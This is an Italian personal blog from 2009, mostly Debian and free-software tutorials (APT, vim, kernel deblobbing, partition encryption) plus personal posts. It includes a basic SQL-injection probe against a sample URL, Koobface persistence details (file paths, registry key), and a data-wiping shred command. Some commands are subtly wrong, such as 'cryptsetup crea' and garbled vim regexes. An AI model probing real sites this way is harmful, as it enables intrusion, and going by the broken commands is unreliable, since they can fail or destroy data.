-bSs- Blackhat, Solaris, server hacker.

Prima lettera - hat color
g = grey hat
b = black hat
w = white hat
u = undecided

seconda lettera - OS preferito
8 = Windows 98
M = Windows ME
2 = Windows 2000
X = Windows XP
V = Windows Vista
7 = Windows 7
L = Linux
U = Unix
S = Solaris
O = OS X

terza lettera - specialtà
c = coding/scripting
s = server
n = networking
w = wardriver
p = phone/sms
m = media design
d = internet/ham radio DJ or Mixer
b = hacking blogger/news poster
g = game hacker
r = reverse engineer
l = download-aholic (leech)

v1.0 Sysninja.com 2009
email to suggest improvements

Per i nostalgici di MS-Dos

2009-09-16T08:09:00.000-07:00

in shell
$ export PS1='C:${PWD//\//\\\} >'

XD

e per scaricare un fumetto a caso da xkcd

$ wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Eo 'http://imgs.xkcd.com/comics/.*(png|jpg)' | wget -q -i - -O - | display

Liberare Debian 100% Free!

2009-09-15T05:20:00.000-07:00

Debian è una distribuzione che reputo fantastica ma purtroppo come tante altre distribuzioni contiene dei Binary BLOB che risiedono all'interno del Kernel e che non distribuiscono il codice liberamente. La cosa da molti utilizzatori può passare inosservata e sembrare che migliori la compatibilità con gli hardware propietari, ma questo non fa altro che supportare le grandi aziende che monopolizzano l'hardware rendendo il loro prodotto compatibile con la maggior parte dei sistemi operativi unix anche se esso non rilascia il source code e quindi non avendo licenza GPL. Praticamente ci lasciamo utilizzare dalle grandi aziende facendo diventare un enorme lavoro di una comunità libera un possibile loro supporto.
Quindi basta far vedere che noi abbiamo l'ultima parola e che volendo possiamo decidere di non utilizzare e supportare distribuzioni che hanno all'interno binary Blob sperando che prima o poi le multinazionali decidano di rilasciare il codice sorgente.

Comunque per chi vuole rimanere alla propria Distribuzione ( senza passare magari a Gnewsense [visto che è uscito da poco e ha bisogno ancora di molto rodaggio] ) e decide di eliminiare i Binary Blob c'è da lavorarci un pò.

Quindi prima di tutto la cosa migliore è sapere se nella nostra distribuzione è presente del software propietario, per fare questo basta installare il pacchetto Vrms (Virtual Richard M. Stallman) il quale è un programma che analizza i pacchetti installati su Debian e comunica all'utente quali sono i programmi non liberi installati nella macchina.

apt-get install Vrms
Vrms

Per alcuni pacchetti espone anche le ragioni del perchè il pacchetto non può considerarsi libero.

A questo punto vi basta rimuovere i pacchetti che vi segnala .

Resta comunque il problema dei Binary Blob nel kernel per i quali abbiamo due opzioni: compilarne uno da noi o installarne uno generico.
Per compilarlo abbiamo bisogno di :

# kernel-package
# bzip2 bzip2
# libncurses5-dev
Anche le loro dipendenze

apt-get install kernel-package libncurses5-dev bzip2

Una volta installati bisognerà dare questi comandi da ROOT:

cd /usr/src
wget http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.27.5.tar.bz2
tar -jxvf linux-2.6.27.5.tar.bz2
ln -s linux-2.6.27.5 linux
cd linux
wget http://www.fsfla.org/svn/fsfla/software//linux-libre/scripts/deblob-check
chmod +x deblob-check
wget http://www.fsfla.org/svn/fsfla/software//linux-libre/scripts/deblob-2.6.27
chmod +x deblob-2.6.27
./deblob-2.6.27 >> ../log.txt
make menuconfig

ok abbiamo cambiato quello che bisognava cambiare. In genere basta utilizzare la configurazione del Kernel attuale.

make-kpkg-initrd kernel_headers kernel_image
cd ..
dpkg -i *.deb

aspettiamo un pò e avremo il nostro Kernel Linux-Libre!!!

Se invece non vogliamo compilarlo
ci basterà aggiungere alla fine della source list in etc/apt/source.list il repository fornito da Ali Gunduz :

deb http://www.aligunduz.org/gNewSense/freedomshoppe/ linux-libre/

e poi dare il comando

apt-get update && apt-get install linux-image-2.6.27-libre-gnufs1.6b && apt-get install linux-headers-2.6.27-libre-gnufs1.6b

Questo è il processo per avere davvero un sistema libero e per fare qualcosa per cambiare il mondo del software nel nostro piccolo.
Più gente utilizzerà sistemi liberi e più soddisfazioni riceveremo, gia molte aziende si stanno spostando sempre di più verso l'ambiente open source !!!

Proteggi il tuo database MySql dagli attacchi di Sql injection con GreenSql

2009-09-15T03:25:00.000-07:00

La SQL injection è una tecnica che mira a colpire sistemi di database in Sql, sfruttando l'inefficienza (più spesso dovuto a codice scritto in PHP) dei controlli sui dati ricevuti in input ed inserendo comandi in query di Sql per accedere a dati sensibili.
Per esempio se abbiamo una pagina chiamata

http://www.sito.it/news.php?id=5

Possiamo testare se è vulnerabile aggiungendo una "quote" alla fine dell'url

http://www.sito.it/news.php?id=5'

in questo modo se avremo qualcosa del tipo

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
O qualcosa di simile
Bene
Significa che la pagina è vulnerabile alla Sql injection e che potremmo inserire nuove query nell Sql del sito.

Per proteggere questo problema GreenSql ci viene incontro facendo da firewall tra il sito e il database Sql, validando cosi tutte le richieste che il database Sql riceve e decidendo quali possono venire eseguite e quali no.

GreenSql fa praticamente da proxy al database Sql, al posto di connettere il sito direttamente al database viene filtrato dal firewall.
Potete provare la Demo qua

è distribuito sotto licenza GPL

Riesce a trovare query sospette al database rilevando query amministrative o che estraggono dati sensibili e calcola il rischio di ogni query.

Qui si può vedere il test sulle performance del database con o senza GreenSql

gNewSense

2009-09-11T06:41:00.000-07:00

gNewSense è un progetto che si propone di liberare il software completamente
In Debian purtroppo ci sono dei Binary Blob nel kernel
Per questo si sta organizzando la creazione di
FreeD ebian

Commandi APT Debian

2009-09-10T07:17:00.000-07:00

Un utile lista di comandi APT per Debian!

Comandi utili APT:
Installare un pacchetto:
$ apt-get install pacchetto
Rimuovere un pacchetto:
$ apt-get remove pacchetto con l’aggiunta dell’opzione “–purge” si ha una cancellazione “drastica” che comprende tutti i files di configurazione.
Cercare un pacchetto:
$ apt-cache search pacchetto
Reperire informazioni sul pacchetto:
$ apt-cache show pacchetto
Aggiornare la sources.list per nuovi pacchetti:
$ apt-get update
Upgradare un pacchetto:
$ apt-get upgrade pacchetto
Aggiornare l’intero sistema:
$ apt-get dist-upgrade
Ripulire /var/cache/apt di tutti i pacchetti .deb scaricati:
$ apt-get clean
Ripulire /var/cache/apt dei soli pacchetti obsoleti e che non sono più presenti sui repository debian:
$ apt-get autoclean
Scarica i sorgenti di un pacchetto senza installarlo:
$ apt-get source pacchetto
Trovare i mirror più veloci:
$ apt-spy
Installare il server X:
$ apt-get install x-window-system-core
Installare kde base in italiano:
$ apt-get install kde-core kde-i18n-it
Installare gnome base:
$ apt-get install gnome-core
Debian-goodies. :
$ apt-get install debian-goodies
Tra i programmi più interessanti:
debget serve a scaricare un pacchetto .deb sulla directory in cui vi trovate quando date il comando.
Per esempio, debget iptables scarica il file iptables_1.3.3-1_i386.deb
dpigs visualizza i pacchetti tra tutti quelli installati che occupano più spazio sul sistema. apt-listbugs - Lista i bug critici di un pacchetto:
$ apt-get install apt-listbugs
$ apt-listbugs list iptables
grave bugs of iptables (1.3.2-1)
#278916 - iptables-save produces bad syntax (unloadable by iptables-restore)
Summary: iptables(1 bug) apt-build - Tool che permette di ricompilare i pacchetti ottimizzandoli per la propria architettura. :
$ apt-get install apt-build
Verranno chieste alcune informazioni legate alle opzioni da passare al compilatore gcc. Per installare compilando un nuovo pacchetto presente sui repository:
$ apt-build install pacchetto
Se avete già installato un pacchetto e volete sostituirlo con quello compilato:
$ apt-build –reinstall install pacchetto
Per i più forzuti che vogliono ricompilarsi l’intera distro:
$ apt-build world
Le opzioni di apt-build si possono cambiarle in qualsiasi momento con:
$ dpkg-reconfigure apt-build
Cron:
cron-apt: automatic update of packages using apt-get
apticron: cron-script to mail impending apt updates Configure-debian:
$ apt-get install configure-debian
Presenta tramite interfaccia tutti i programmi che hanno utilizzato debconf e consente di riconfigurarli
(invece di scrivere a mano dpkg-reconfigure nomepacchetto che costa troppa fatica)
Eliminare dipendenze inutilizzate:
$ apt-get install deborphan $ orphaner –purge
Forzare disinstallazione:
Se i pacchetti non si vogliono disinstallare dal sistema perche non ufficiali o testing restituiscono il codice errore 1 non facendo aggiornare il sistema. in questo caso: $ dpkg –purge –force-all pacchetto Se non si risolve, editate /var/lib/dpkg/status cancellando le informazioni sul pacchetto.
Usate anche deborphan per ripulire tutto.

Comandi utili DPKG: Controllare la presenza di un pacchetto installato sul sistema:
$ dpkg -l|grep pacchetto
Listare i singoli file che compongono un pacchetto già installato:
$ dpkg -L pacchetto
Riconfigurazione X server:
X.Org
$ dpkg-reconfigure xserver-xorg XFree
$ dpkg-reconfigure xserver-xfree86
Riconfigurare il layout della tastiera:
$ dpkg-reconfigure console-data Impostare
la lingua alla tastiera:
$ dpkg-reconfigure locales Scegliere it_IT@euro
Copiare la propria configurazione dei pacchetti su un altro sistema:
$ dpkg –get-selections “*” > lista.txt Copiate il file lista.txt sull’altro PC e scrivete:
$ dselect update
$ dpkg –set-selections < lista.txt
$ apt-get -u dselect-upgrade
Eliminare i residui dei file di configurazione dei pacchetti -rc:
$ dpkg –purge `COLUMNS=300 dpkg -l “*” | egrep “^rc” | cut -d\ -f3`

by Friend of debianclan.org

Vedere DVD su Debian e installare libdvdcss e w32 video codecs

2009-09-10T05:17:00.000-07:00

w32codecs questo è un pacchetto di codecs necessario per vedere diversi formati, come Divx. (disponible. Maintainer: MirSPCM)

libdvdcss è una libreria portabile per accedere ai DVD con sistema CSS. Fa parte del VideoLan project ed è usato da VLC e tutti gli altri DVD player open source come Ogle, xine-based players e MPlayer

Installare w32codecs in Debian

#wget http://www.debian-multimedia.org/pool/main/w/w32codecs/w32codecs_20060611-0.0_i386.deb

#dpkg -i w32codecs_20060611-0.0_i386.deb

Installare liddvdcss2 in Debian

#wget http://www.debian-multimedia.org/pool/main/libd/libdvdcss/libdvdcss2_1.2.9-0sarge0.0_i386.deb

#dpkg -i libdvdcss2_1.2.9-0sarge0.0_i386.deb

Puoi guardare la lista qua
http://www.debian-multimedia.org/pool/main/libd/libdvdcss/

e scaricare tutto quello che ti serve sempre qua http://www.debian-multimedia.org/pool/main/

oppure per inserire tutto nei repository
basta aggiungere questo a /etc/apt/source.list

Se usi Debian Sid:
deb http://www.debian-multimedia.org sid main

Se usi Debian Lenny:
deb http://www.debian-multimedia.org lenny main

dopodichè
date

#apt-get update
#apt-get install w32codecs libdvdcss2

vi (aka vim) manuale,trucchi e comandi utili

2009-09-10T03:20:00.000-07:00

Da dove viene il nome gREp (RE sta per Regular Expression):
:g/RE/p

Cancella linee da 10 a 20 inclusive:
:10,20d
o con marchi a e b:
:'a,'bd

Cancella lineee che contengono pattern:
:g/pattern/d

Cancella tutte le linee vuote:
:g/^$/d

Cancella linee in un range dato che contengono pattern:
:20,30/pattern/d
or with marks a and b:
:'a,'b/pattern/d

Sostituisce tutte le linee alla prima volta che incontra of pattern:
:%s/pattern/new/
:1,$s/pattern/new/

Sostituisce tutte le linee di pattern globalmente
(anche se ce ne sono più di una sulla stessa linea):
:%s/pattern/new/g
:1,$s/pattern/new/g

Trova tutte le linee che contengono pattern e ci aggiunge -new alla fine di ogni linea:
:%s/$.*pattern.*$/\1-new/g

Sostituzione di un range:
:20,30s/pattern/new/g
con a e b:
:'a,'bs/pattern/new/g

Inverte due patterns su una linea:
:s/$pattern1$$pattern2$/\2\1/

Scrive in maiuscolo la prima lettera in minuscolo su una linea:
:s/$[a-z]$/\u\1/
più concisamente:
:s/[a-z]/\u&/

Mette in maiuscolo tutte le minuscole di una linea:
:s/$[a-z]$/\u\1/g
più concisamente:
:s/[a-z]/\u&/g

Capitalizza tutte le parole su una linea:
:s/$.*$/\U\1\E/

Capitalizza tutte le prime lettere delle parole in una linea:
:s/\<[a-z]/\u&/g
Toglie la capitalizzazione di tutte le prime lettere delle parole in una linea: :s/\<[A-Z]/\l&/g

Cambia la grandezza dei caratteri sotto al cursore:
~
Cambia la grandezza di tutti i caratteri su una linea:
g~~
Cambia la grandezza di tutti i caratteri rimanenti dal cursore:
g~w

Incrementa il numero sotto al cursore:
<Ctrl-L>

Decrementa il numero sotto al cursore:

<Ctrl-X>

Riscrive:

<Ctrl-L>

Accende la numerazione delle linee:
:set nu
La spegne:
:set nonu

Numero Linee (filtra il file attraverso un comando unix e riscrive l output):
:%!cat -n

Ordina linee di testo:
:%!sort

Ordina linee di testo e rimuove linee indentiche in file ordinati:
:%!sort -u

Legge l'output di un comando nel buffer:
:r !ls -l

Aggiorna un file dalla versione sul disco:
:e!

Apre una nuova finestra:

<Ctrl-w>

n

Apre una nuova finestra dello stesso file (split):

<Ctrl-w>

s

Split la finestra verticalmente:

<Ctrl-w>

v

Chiude la finestra corrente:

<Ctrl-w>

c
:q

Fa della finestra corrente l'unica finestra:

<Ctrl-w>

o

Cicla alla finestra seguente:

<Ctrl-w>

w

Muove la finestra sotto quella corrente:

<Ctrl-w>

j

Muove la finestra sopra quella corrente:

<Ctrl-w>

k

Muove la finestra a sinistra di quella corrente:

<Ctrl-w>

h

Muove la finestra a destra quella corrente:

<Ctrl-w>

l

Setta la dimensione del testo per l'allineamento automatico mentre scrivi:
:set textwidth=80

Accende l'evidenziamento della sintassi
:syn on
Spegne:
:syn off

Forza il tipo di file per l'evidenziamento della sintassi:
:set filetype=python
:set filetype=c
:set filetype=php

Usa colori chiari per uno sfondo scuro:
:set background=dark

Htmlize un file usando l'evidenziamento corrente della sintassi:
:so $VIMRUNTIME/syntax/2html.vim

O, htmlize da un comando di promt:
in 2html.sh scrivi:

#!/bin/sh
vim -n -c ':so $VIMRUNTIME/syntax/2html.vim' -c ':wqa' $1 > /dev/null 2> /dev/null

Adesso basta fare: shell> 2html.sh foo.py

5 Ragioni per scegliere Debian/Linux al posto di Ubuntu/Linux

2009-09-01T09:16:00.000-07:00

Per quelle poche persone che non lo sanno Ubuntu è distribuito dalla canonical company ed è praticamente quasi tutto preso da Debian Sid (la versione instabile) più qualche applicazione e modificazione. Debian è una delle distribuzioni più riuscite ed è basato esclusivamente sul lavoro della community che ci sta dietro

1) Stabilità e Sicurezza
Debian rilascia le distribuzioni stabili dopo tanto tempo, perchè ci tiene che siano veramente stabili e che abbiano passato infiniti test sulla sicurezza.
Non c'è da stupirsi se la maggior parte dei siti usa Debian come server. Sicuramente Ubuntu si sta cominciando a conoscerlo, ma gia adesso molte persone preferisco usare Debian visto che Ubuntu ci mette troppo tempo ad aggiustare le sue falle. Con Debian si può lavorare estramente bene e se vuoi le cose più nuove perdendo un pè nelle varie fasi di testing puoi sempre installare la versione di testing o la experimental e avrai i programmi sempre aggiornati.

2) Esclusivamente Software Free

Debian aderisce strettamente alla filosofia del free software. è composto esclusivamente da software free, persino Firefox è stato rinominato in Iceweasel perchè la parte artistica era soggetta a copyright.

3) Per le architetture particolari del computer

Debian ora funziona su 11 differenti architetture e queste sono sempre in aggiornamento, cosi sarai sicuro di avere qualcosa appositamente studiato per il tuo computer. Le architetture supportate sono x86-32, x86-64, PowerPC, SPARC, DEC Alpha, ARM, MIPS, HPPA, S390, IA-64.

4) Se non ti piaciono le aziende

Canonical è una azienda. Non so voi ma io non mi fido delle aziende, anche se sono esclusivamente uno sponsor. Debian è supportata dalla propria community e dalla Free software foundation.

5) Semplice

Nella Disto di Debian Standard, hai tutto quello di cui hai bisogno per cominciare ed è completamente configurabile, nessun plugin inutile, soltanto Debian!

Cosa preferisci? Debian o Ubuntu

Dropbox non-free per debian !

2009-09-01T08:09:00.000-07:00

Potete scaricare da qui dropbox non-free per debian !
funzionante

l unica cosa che dovete fare è
dpkg -i nautilus-dropbox_0.6.1-1_i386.deb

nella cartella dove avrete scaricato il pacchetto deb

nautilus-dropbox_0.6.1-1_i386.deb

non sapete cos'è drop-box !?!

Dropbox è un programma che sincronizza i tuoi files online tra più computer contemporaneamente.

dropbox.com

happy birthday Debian !

2009-08-20T08:31:00.000-07:00

anche se in ritardo mando i miei auguri a Debian !

tutto ebbe inizio da qui

io il 16 stavo in nave per tornare ad athene da skyros e quindi non ho potuto organizzare nulla per festeggiare i 16 anni di Debian...

ho visto cmq che alcuni si sono organizzati
http://wiki.debian.org/DebianDay2009

spero di organizzare pure io qualcosa l anno prossimo

abr2gbr debian

2009-08-20T07:25:00.000-07:00

package utile per convertire i brush abr di photoshop in brush per gimp
potete scaricarlo da qui :)
abr2gbr

al momento sono tornata a roma ma qui si muore di caldo e il peggio è l'alta umidità

sto cercando lavoro in giappone al momento

2009-08-15T06:38:00.000-07:00

sto cercando lavoro in giappone al momento.
se qualcuno ne sa qualcosa sono ben contenta di saperne di più.
a presto

piccolo aggiornamento da skyros :D

2009-08-10T01:34:00.000-07:00

sono nella piazza centrale connessa su un ssid
qua il paesaggio è fantastico purtroppo non ho dietro una macchina fotografica
si sta benissimo anche se c'è sempre vento
sto soggiornando in una casa tradizionale di skyros che naturalmente manca di qualsiasi connessione al mondo.
a presto :)

My first packet is in testing fase

2009-07-29T16:20:00.000-07:00

my first package

thanks marga for make it possible :)

domani parto per skyros
quindi per un pò probabilmente non ci saranno nuove guide e/o update
sperando che ci sia il wifi

Codici QR cosa sono questi sconosciuti e perchè sono diventati tanto famosi in giappone ?

2009-07-25T11:44:00.001-07:00

I QR code sono dei codici matrix formati da due barcode sovrapposti (bidimensionali) inventati dalla azienda giapponese Denso-Wave nel 1994. QR è l abbreviativo di "quick response" perchè i creatori intendono che il codice possa venire decifrato ad alta velocità.
In Giappone hanno avuto sicuramente un grandissimo successo e sono molto conosciuti tra l altro hanno anche creato dei programmi per i cellulari che possono decifrare questi codici con l'utilizzo della fotocamera.
essendo le persone in giappone molto pigre (ma non solo in giappone) piuttosto di dire il proprio indirizzo email e poi l altro deve scriverlo sul suo cellulare.
gli basta mostrare il proprio biglietto da visita (famosissimi in giappone ) con sopra l apposito QR code.
utilissimi anche nei supermercati al posto dei normali codici a barre!!!
Lo standard giapponese per i codici QR, JIS X 0510, è stato rilasciato nel gennaio del 1999 e un corrispondente Standard Internazionale ISO, ISO/IEC 18004, è stato approvato nel giugno del 2000.

questo è il sito in inglese della denso wave http://www.denso-wave.com/qrcode/index-e.html

qua potrete creare i vostri personali qr code
http://qrcode.kaywa.com/

ad esempio questo è il QR code di Drunk Geisha

i dieci virus più ricercati negli states

2009-07-23T10:22:00.000-07:00

Gli attacchi da botnet stanno crescendo, come il cybercrimine che usa computer compromessi per spammare, rubare data personale, aumentarsi il click rating e abbattere siti con DDos.
Questa è la lista delle 10 botnets più attive e più ricercate, ci basiamo sui calcoli stimati dalla firma sulla sicurezza Damballa sulla grandezza delle botnet e la loro attività negli USA.
La maggior parte dei criminali usa:

Zeus trojan
Un programma che usa la technica del key-logging per rubare dati sensibili (come user names, passwords, numeri di account e numeri di carte di credito. inserisce false richieste di inserimento dati nelle pagine web per rubare i dati degli account delle vittime.

al secondo posto: Koobface

Computer infettati in USA : 2.9 milioni

La maggior parte dei criminali usa questo malware distribuendolo nei vari social network come Myspace e Facebook con falsi commenti da "amici" quando un utente preme il link per vedere un video viene informato da un popup che deve scaricare un update necessario per la visualizzazione ma in reaMain crime use malware con cui l'attacante potrà controllare il vostro computer.

Quando il virus si attiva copia se stesso in questo file:

c:\windows\mstre6.exe

Crea anche questo file che utilizza per creare altri programmi infetti

c:\windows\tmark2.dat

Crea poi la seguente stringa nel registro di sistema che fa partire tutte le volte che windows si accende:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run\"systray" = "c:\windows\mstre6.exe"

Il virus cancella la seguente riga dal registro:

HKEY_CURRENT_USER\AppEvents\Schemes\Apps\Explorer\Navigating

Quando viene eseguito per la prima volta il sistema da il seguente errore per distrarre l utente dal suo vero scopo

Window title: Error
Window body: Error installing Codec. Please contact support.

Dopo di che cerca cookies relativi a siti di social networking. se non ne trova il virus si cancella da solo.

invece se trova qualcosa il virus modifica il cookie in modo da linkarsi ai siti infettabili e agisce come un finto utente per far cadere altre persone nella sua trappola facendo apparire ad altri il popup con la necessità di installare un video codec.

Al terzo posto 3: TidServ

computer infettati in USA: 1.5 milioni

Questo invece è un trojan downloader spesso viene inviato attraverso le mail di spam come un allegato e a differenza degli altri non prende direttamente controllo del pc ma scarica dalla rete un programma e usa delle tecniche chiamate RootKit per farlo avviare, senza che voi o windows si accorga di nulla, e può nascondere anche i suoi file, le stringhe che inserisce nel registro e il processo nel task manager.

al quarto posto: Trojan.Fakeavalert

Computer infettati in USA: 1.4 milioni

Utilizzato per fare spamm, questa botnet serve per far scaricare altri malware, con la sua forza nei finti avvisi e richieste di installazione da parte di finti antivirus.

al quinto posto: TR/Dldr.Agent.JKH

Computer infettati in USA: 1.2 milioni

Questo è un Trojan vero e proprio con un server in locale sulla macchina della vittima e un client in remoto sulla macchina dell aggressore tutti i dati che si scambiano sono criptati e servono per eseguiri comandi che gli vengono inviati periodicamente. a volte è assieme a qualche altro malware ed è usato come clickbot, manda falsi click a degli adsense dell aggressore per fargli incrementare i suoi guadagni attraverso una attività costante e creata apposta per non dare sospetti.

al sesto posto: Monkif

Computer infettati in USA: 520,000

La sua funzione principale consiste nel far scaricare un adware BHO (browser helper object) in un sistema infettato.

al settimo posto: Hamweq

Computer infettati in USA: 480,000

Anche chiamato come IRCBrute, o autorun worm, questa backdoor clona se stessa su ogni sistema infettabile (tutti quelli della micro$oft) per poi copiarsi in ogni sistema di memoria esterno come penne usb (cmq funziona solo su sistemi micro$oft) e ricopiarsi tutte le volte che si ha l'accesso a un sistema romovibile, si esegue in automatico. è effetivamente un efficente sistema di distribuzione, Hamweq crea delle stringhe nel registro per abilitare la sua esecuzione automatica e auto iniettarsi in explorer.exe, L'aggressore può usarlo per fargli eseguire comandi in remoto o riceve informazioni dal sistema infetto facendovi credere che stia facendo le solite funzioni di routine.

al ottavo posto: Swizzor

Computer infettati in USA: 370,000

Una variante del Lop Malware, questo trojan dropper può scaricare e avviare file da internet sull sistema infettato senza che l utente ne sia a conoscenza, installare programmi adware e altri trojan.

al nono posto: Gammima

Computer infettati in USA: 230,000

Conosciuto anche come Gamina, Gamania, Frethog, Vaklik e Krap, questo programma principalmente ruba gli accunt di accesso di giochi su internet. utilizza anchesso rootkit per caricare autoeseguirsi o per cammuffarsi come altri processi comuni (per esempio explorer.exe) e si diffonde attraverso dischi rimovibili. è molto conosciuto anche per essere penetrato nella stazione spaziale internazionale nell'estate del 2008.

infine: Conficker

Computer infettati in USA: 210,000

Chiamato anche Downadup, questo downloader si è molto diffuso nel mondo, non molto però negli stati uniti. è un downloader complesso utilizzato come tramite per altri malware. è stato usato per vendere programmi antivirus fasulli, questo virus comunque sembra non avere altri obiettivi se non quello di propagarsi.Il mondo commerciale teme che possa modificarsi con scopi più dannosi.
un altra funzione di conficker è quella di aprire porte a caso tra la 1024 e la 10000 e cercare di exploitare la vulnerabilità del MS08-067 negli altri pc della rete per propagarsi.

Cyberia mix

2009-07-23T06:42:00.000-07:00

cyberia mix

potete anche scaricarla da qui
Enjoy~

Come farsi una Debian card !

2009-07-22T23:38:00.000-07:00

per farsi una Debian card è semplicissimo
basta avere Gimp scaricarsi questo file
e cambiare i layer con gimp

informazioni sull'italia wikileaks!

2009-07-22T22:50:00.000-07:00

http://wikileaks.org

si proclama una organizzazione multi giurisdizionale con l intento di proteggere dissidenti interni, giornalisti e bloggers e chiunque abbia problemi con la legge riguardanti alle sue pubblicazioni.

Il suo interesse primario è mostrare i regimi oppressivi in asia, in russia, sud africa e nel medio oriente ma formiamo anche assistenza a tutte le nazioni che vogliono mostrare i comportamenti non eitici del loro governo.
miriamo al massimo impatto politico !

Norton antivirus game edition

2009-07-22T22:25:00.000-07:00

ecco cosa mancava a norton un bel antivirus più leggero.
dicono che questo nuovo antivirus non solo protegge meglio ma utilizza anche meno risorse del computer permettendo cosi migliori prestazioni coi videogiochi ?????

ti fanno pagare per aver tolto tutte le aggiunte inutili ??

perchè gli hackers salveranno il mondo ?

2009-07-22T22:00:00.000-07:00

Questo l'argomento di Glyn Moody al Desktop summit in Gran Canaria

Mi serve qualc'uno che mi firmi la chiave gpg!!!

2009-07-22T10:33:00.000-07:00

offro tanta vodka !! :)

Debian e i dvd

2009-07-21T17:59:00.000-07:00

Stasera volevo vedere un pezzo del mio anime preferito tra i preferiti
quello che mi ha ispirata in quello che faccio e che mi ha dato tante informazioni e tanti spunti di approfondimento.
Cosi ho dovuto installare il pacchetto libdvdcss2
che senza di quello Debian non vo leggerà mai i vostri DVD acquistati
per installarlo basta dare da root il comando
#dpkg -i nomedelfile.deb

il problema del pacchetto libdvdcss2 per essere considerato nonufficiale è che da alcuni paesi non è approvato

cmq non è il caso dell'italia

Come criptare Debian Lenny sul vostro portatile

2009-07-21T14:21:00.000-07:00

Dovete andare in qualche paese con leggi molto rigide riguardo al materiale contenuto nei vostri pc ?
anche se magari è solo una vostra foto nuda a qualche festa di compleanno ? (che feste di compleanno frequentate ?!?)

comunque troppa politica finisce per colpire esclusivamente cittadini che troppo spesso non centrano nulla!!!
_

cosi ho deciso di inserire una guida su come criptare partizioni su Debian...
allora ho un laptop con /boot in una partizione separata, seguita da /root e /swap. Bisongna per forza avere /boot separato dal resto, perchè il BIOS deve caricare un kernel non criptato prima di accedere alla partizione criptata. Un'altra opzione è di tenere /boot su una chiavetta USB, ma per affrontare questo metodo servirebbe un intero altro post.

Prima di tutto, installate il software per gestire le partizioni criptate e aggiornate l'immagine initrd:

#aptitude install cryptsetup initramfs-tools

Ora dobbiamo essere sicuri che siano presenti su initrd i moduli per criptare, quindi aggiungo i tre moduli initrd config:
#echo aes-i586 >>/etc/initramfs-tools/modules
#echo dm-crypt >>/etc/initramfs-tools/modules
#echo dm-mod >>/etc/initramfs-tools/modules

Questo passaggio probabilmente non è necessario perchè initramfs-update gia sa di che moduli ha bisogno analizzando /etc/crypttab e /etc/fstab e controllando i moduli caricati.

Il prossimo passaggio è informare cryptsetup e inittab del mappaggio della partizione tra /dev/hda2 (il disco fisico) e /dev/mapper/root (l'interfaccia di criptazione).
#echo "root /dev/hda2 none luks" >>/etc/crypttab
#sed -i 's#/dev/hda2#/dev/mapper/root#' /etc/fstab

Dobbiamo anche cambiare il sistema di root per grub nello stesso modo in cui lo abbiamo fatto con inittab:
#sed -i 's#/dev/hda2#/dev/mapper/root#' /boot/grub/menu.lst

Ora dobbiamo ricreare l immagine initrd inserendo:
#update-initramfs -k all -u

Ora siamo pronti per spegnere tutto e bootare da un Live CD per fare un backup , creare una partizione criptata e ricopiare tutto nel filesystem contenuto in una partizione gia criptata. Lascio al lettore la possibilità di scegliere tra le diverse opzioni di backup:Un semplice "cp -ax /mnt/root/* /mnt/backup" può essere cmq abbastanza come backup.

Una volta che il backup è stato eseguito, cancellate tutti i dati nella partizione con:

#shred -n1 -v /dev/hda2

Dopo di che create una partizione criptata con:

#cryptsetup luksFormat /dev/hda2
#cryptsetup luksOpen /dev/hda2 root

Dopo che la partizione è stata creata, pronta e aperta, create un filesystem, montatelo con mount e copiate il backup di root nella partizione appena creata:

#mkfs.ext3 /dev/mapper/root
#mount /dev/mapper/root /mnt/root
#cp -ax /mnt/backup/* /mnt/root/

Ora siete pronti per caricare la partizione criptata:

Una volta che siete sicuri che funziona, aggiungete la partizione di swap criptata. vi basterà inserirla in /etc/crypttab e modificare /etc/fstab con questi comandi:

#echo "swap /dev/hda3 /dev/random swap" >>/etc/crypttab
#sed -i 's#/dev/hda3#/dev/mapper/swap#' /etc/fstab

Ora avremo il nostro bel computer criptato e potremmo passare indenni dai potenziali controlli sul nostro computer.

c'è anche un sistema per evitare di fare backup e formattare:

per esempio se hai il disco /dev/hda1

cryptsetup crea mio-disco /dev/hda1

# disco criptato:
dd if=/dev/hda1 of=/dev/mapper/mio-disco

#disco non criptato:
dd if=/dev/mapper/my-disk of=/dev/hda1

no copyrights
no fees
only freedom

Meringata Vegan Open Source

2009-07-21T13:41:00.000-07:00

5 cucchiai di proteine isolate della soia (quelle usate come emulsionante)
2 cucchiai di lievito
3/4 di bicchiere di Pina Colada Mix (prendi quello più scaccio con dentro il cocco artificiale)
1/4 di cucchiaio di Gomma di Guar

Mescola per 10 minuti e riempi la forma per la torta. Questo è tutto!

note riguardo la Pina Colada Mix:
Il mix che ho usato è il più scaccio che ho trovato si chiama "on The House" in una chiara bottiglia di pastica con una etichetta gialla.

N.B. questa è una ricetta open source puoi trovare l'algoritmo per farla qua
http://aliceinwire.pastebin.com/f6f4ceabb
sei libero di farci quello che vuoi e inserirci i tuoi aggiornamenti !!

Debconf9

2009-07-21T12:18:00.000-07:00

Tra poco parte la 9 conferenza sul sistema operativo Debian a Cacèrès (spagna).

Purtroppo per coincidenze con l'università non potrò presenziare
spero di riuscire a partecipare l'anno prossimo a NEW YORK.

DebConf9 Dates
Date	Description
July, 2009
Giovedi, 16th	Primo giorno di DebCamp Primo giorno per cibo e stanza da sponsor(solo per le persone che danno una mano al DebCamp).
Giovedi, 23th	Ultimo giorno al DebCamp (e giorno d'arrivo per il DebConf) Primo giorno di cibo e stanza dagli sponsor per persone che aspettano il DebConf.
Venerdi 24th	DebConf Giorno 1 e anche giornata open Debian
Sabato, 25th	DebConf Giorno 2
Domenica,26th	DebConf Giorno 3
Lunedi, 27th	DebConf Giorno 4: Giornata con gita
Martedi, 28th	DebConf Giorno 5: cena di conferenza
Mercoledi,29th	DebConf Giorno 6
Giovedi, 30th	DebConf Giorno 7 (Ultimo giorno) Ultimo giorno per la stanza e il cibo offerto dagli sponsor. Devi partire il 31 in mattinata!
venerdi, 31th	Pulizie e partenza

SecurityTube.com , YoutU83 incentrato sulla sicurezza in internet

2009-07-21T11:42:00.000-07:00

mi è capitato di dare un occhiata a questo sito
raccoglie molti video sulla sicurezza in internet

purtroppo sono in inglese
quindi dovete avere almeno una infarinatura sui termini informatici

http://securitytube.net/

installare window$ vista in 2 minuti

2009-07-21T11:19:00.000-07:00

un ragazzo cerca di installare vista sull suo portatile nuovo fiammante ma gli da continui "blue screen of the death" e incompatibilità con la maggior parte dell'hardware
